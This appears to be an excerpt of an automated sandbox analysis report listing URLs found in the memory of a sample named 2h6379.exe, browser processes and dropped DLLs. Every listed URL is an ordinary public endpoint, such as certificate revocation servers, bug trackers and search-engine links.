Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000007.00000003.2357382450.000000E8010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357665514.000000E8010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357508627.000000E800FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357188683.000000E801098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chrome.exe, 00000007.00000003.2359193877.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357382450.000000E8010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357665514.000000E8010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357508627.000000E800FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359149419.000000E800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359173027.000000E800EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359415680.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359248265.000000E80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357188683.000000E801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359649590.000000E80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357473632.000000E8010F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000007.00000003.2359193877.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357382450.000000E8010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357665514.000000E8010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357508627.000000E800FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359149419.000000E800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359173027.000000E800EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359415680.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359248265.000000E80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357188683.000000E801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359649590.000000E80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357473632.000000E8010F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000007.00000003.2359193877.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357382450.000000E8010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357665514.000000E8010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357508627.000000E800FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359149419.000000E800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359173027.000000E800EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359415680.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359248265.000000E80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357188683.000000E801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359649590.000000E80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357473632.000000E8010F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000007.00000003.2359193877.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357382450.000000E8010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357665514.000000E8010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357508627.000000E800FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359149419.000000E800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359173027.000000E800EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359415680.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359248265.000000E80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357188683.000000E801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359649590.000000E80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359589107.000000E80118C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2357473632.000000E8010F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: mozglue[1].dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 2h6379.exe, 00000003.00000003.2108706109.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp, GHDHDBAE.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000007.00000003.2383170596.000000E80175C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383193352.000000E801764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2383146742.000000E801758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation
Source: chrome.exe, 00000007.00000003.2380049633.000000E80167C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2379240087.000000E801678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000007.00000003.2388011868.000000E801EC4000.00000004.00000800.00020000.00000000.sdmp, chromecache_485.9.dr, chromecache_481.9.dr	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 0000000A.00000002.2529676337.0000024D8AD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001548000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2110082641.0000000005D50000.00000004.00000800.00020000.00000000.sdmp, FIDHIEBAAKJDHIECAAFH.3.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001548000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2110082641.0000000005D50000.00000004.00000800.00020000.00000000.sdmp, FIDHIEBAAKJDHIECAAFH.3.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: 2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, GHDHDBAE.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000007.00000003.2355594802.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2430331312.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359384303.000000E800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2392785957.000000E800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: 2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, Web Data.11.dr, GHDHDBAE.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 2h6379.exe, 00000003.00000003.2079873754.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080007128.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2080171090.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, Web Data.11.dr, GHDHDBAE.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000007.00000003.2351435997.000000E800CF4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2533955064.00005E000237C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: manifest.json.11.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 00000007.00000003.2351364956.000000E800338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2359068136.000000E800F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2351396258.000000E800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2356845613.000000E800CFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2363012835.000000E800CFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2355360068.000000E800E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2351435997.000000E800CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
